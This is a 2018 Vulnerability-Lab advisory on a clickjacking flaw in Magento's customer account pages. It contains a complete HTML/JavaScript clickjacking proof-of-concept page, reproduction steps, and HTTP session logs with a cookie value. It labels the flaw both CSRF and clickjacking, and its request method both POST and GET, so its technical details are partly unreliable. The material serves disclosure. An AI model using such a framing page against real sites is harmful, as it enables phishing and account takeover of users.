Magento Commerce - CSRLF Web UI Security Vulnerability

2018-01-19T00:00:00
ID VULNERLAB:1573
Type vulnerlab
Reporter Vulnerability-Lab [admin@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Modified 2018-01-19T00:00:00

Description

                                        
                                            Document Title:
===============
Magento Commerce - CSRLF Web UI Security Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1573


Release Date:
=============
2018-01-19


Vulnerability Laboratory ID (VL-ID):
====================================
1573


Common Vulnerability Scoring System:
====================================
4.1


Vulnerability Class:
====================
Cross Site Request Forgery


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed 
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned 
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model 
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.

Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting 
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability 
inside our system, please tell us right away.

( Copy of the Vendor Homepage: http://magento.com/security  &  http://magento.com/security )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side clickjacking web vulnerability in the official Magento Commerce online service web-application.


Vulnerability Disclosure Timeline:
==================================
2016-10-01: Non-Public Disclosure (Vulnerability Laboratory - Shared Customer Research Feed)


Discovery Status:
=================
Published


Affected Product(s):
====================
Magento
Product: Magento - Web Application Service 2015 Q3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A client-side clickjacking web vulnerability has been discovered  in the official Magento Commerce online service web-application.
The vulnerability allows an remote attacker to trick a web user into clicking on something different from what the user perceives 
they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on 
seemingly innocuous web pages.

The click-jacking web vulnerability is located in the /products/customer/account module and affects the referrer requests of the 
magento commerce website. Remote attackers are able to inject via clickjacking remote magento urls to perform malicious client-side 
inject or phish user account credentials. The request method to execute is GET and the attack vector is located on the client-side 
of the online-service web-application. (https://en.wikipedia.org/wiki/Clickjacking)

The security risk of the client-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.1. 
Exploitation of the client-side validation web vulnerability requires low or medium user interaction and only a low privilege web-application 
user account. Successful exploitation of the security vulnerability results in the client-side application to browser request manipulation, 
client-side phishing, client-side external redirects and client-side manipulation of local requested magento modules.

Request Method(s):
				[+] [POST]

Vulnerable Domain(s):
				[+] magentocommerce.com

Vulnerable Module(s):
				[+] ./products/customer/

Affected Module(s):
				[+] ./account/


Proof of Concept (PoC):
=======================
The client-side click-jacking web vulnerability can be exploited by remote attackers with low privilege web-application user account and medium or high user interaction. 
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the website to get a non expired session magento-commerce
2. Open the poc file (a.html)
3. Include to the url of the requested input to the load field ... http://www.magentocommerce.com/products/customer/account
4. Click the load button and then you will receive the click-jacking requested via transparent page by magento commerce
5. Successful reproduce of the vulnerability!


Vulnerable Code: newframe.setAttribute("sandbox","allow-scripts allow-forms");


PoC: Exploit
<html>
<head>
<title>Clickjack Test Page</title>
<style>
#overlay
{
padding: 20px;
border: 4px solid black;
width: 200px;
position: 
absolute;
background-color: red;
font: bold 12pt verdana;
color: white;
left: 440px;
top: 300px;
display: none;
}
</style>
<script>
function moveoverlay()
{
var overlay=document.getElementById("overlay");
x=(window.innerWidth - 200)/2;
y=(window.innerHeight - 
overlay.style.height)/2;
overlay.style.left = x + "px";
overlay.style.top = y + "px";
overlay.style.display="block";
}
function changeframe()
{
var url=document.urlform.inputurl.value;
var displayurl=document.getElementById("displayurl");
var results=document.getElementById("results");
displayurl.textContent="You’ve been clickjacked! The frame URL is: " + url;
displayurl.style.display="block";
// Create a new frame - delete the old one first
var destframe=document.getElementById("destframe");
if (destframe)
{
results.removeChild(destframe);
}
var newframe=document.createElement("iframe");
newframe.setAttribute("src",url);
newframe.setAttribute("id","destframe");
newframe.style.width="100%";
newframe.style.height="90%";
newframe.setAttribute("sandbox","allow-scripts allow-forms");
results.appendChild(newframe);
document.body.setAttribute("onResize","moveoverlay()");
moveoverlay();
}
function toggleformbar()
{
var formbarhidden=(document.getElementById("closer").textContent=="^")?0:1;
if (formbarhidden==0)
{
document.getElementById("theform").style.display="none";
document.getElementById("closer").textContent="v";
}
else
{
document.getElementById("theform").style.display="block";
document.getElementById("closer").textContent="^";
}
}
</script>
</head>
<body>
<div id="formbar" style="">
<div id="theform" style="background: #f0f0f0; padding: 0.5em; height: 1.5em; float: left; display: inline">
<form name="urlform" 
onSubmit="changeframe(); return false">
<label>URL:</label>
<input type="input" name="inputurl" />
<input type="submit" value="Load" />
</form>
</div>
<div id="closer" style="float: right; display: inline; cursor: pointer" onClick="toggleformbar()">^</div>
</div>
<br style="clear: both" />
<div id="results">
<div id="displayurl" 
style="display:none"><p>Bit of text for screenshot</p></div><br />
<div id="overlay">This is sample content rendered from the parent frame</div>
</div>
</body>
</html>

Note: This is sample content rendered from the parent frame.


--- PoC Session Logs [GET] ---
Status: 302[Moved Temporarily]
GET https://www.magentocommerce.com/products/customer/account/ 
Mime Type[text/html]
   Request Header:
      Host[www.magentocommerce.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[frontend=amrfom8gv9ivqr1334m2osa7v6; frontend=amrfom8gv9ivqr1334m2osa7v6]
      Connection[keep-alive]
   Response Header:
      Server[nginx]
      Content-Type[text/html; charset=UTF-8]
      Transfer-Encoding[chunked]
      Connection[keep-alive]
      p3p[CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"]
      Set-Cookie[frontend=amrfom8gv9ivqr1334m2osa7v6; expires=Fri, 14-Aug-2016 15:04:42 GMT; path=/; domain=www.magentocommerce.com]
      Location[https://www.magentocommerce.com/products/customer/account/login/]
-
Status: 200[OK]
GET https://www.magentocommerce.com/products/customer/account/login/ 
Mime Type[text/html]
   Request Header:
      Host[www.magentocommerce.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[frontend=amrfom8gv9ivqr1334m2osa7v6; frontend=amrfom8gv9ivqr1334m2osa7v6]
      Connection[keep-alive]
   Response Header:
      Server[nginx]
      Content-Type[text/html; charset=UTF-8]
      Transfer-Encoding[chunked]
      Connection[keep-alive]
      p3p[CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Set-Cookie[frontend=amrfom8gv9ivqr1334m2osa7v6; expires=Fri, 14-Aug-2016 15:04:42 GMT; path=/; domain=www.magentocommerce.com]
      Login-Required[true]


Reference(s):
http://www.magentocommerce.com/
http://www.magentocommerce.com/products/
http://www.magentocommerce.com/products/customer/
http://www.magentocommerce.com/products/customer/account


Security Risk:
==============
The security risk of the client-side click-jacking web vulnerability in the magento commerce application is estimated as medium. (CVSS 4.1)


Credits & Authors:
==================
Vulnerability-Lab [admin@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 				- admin@evolution-sec.com
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™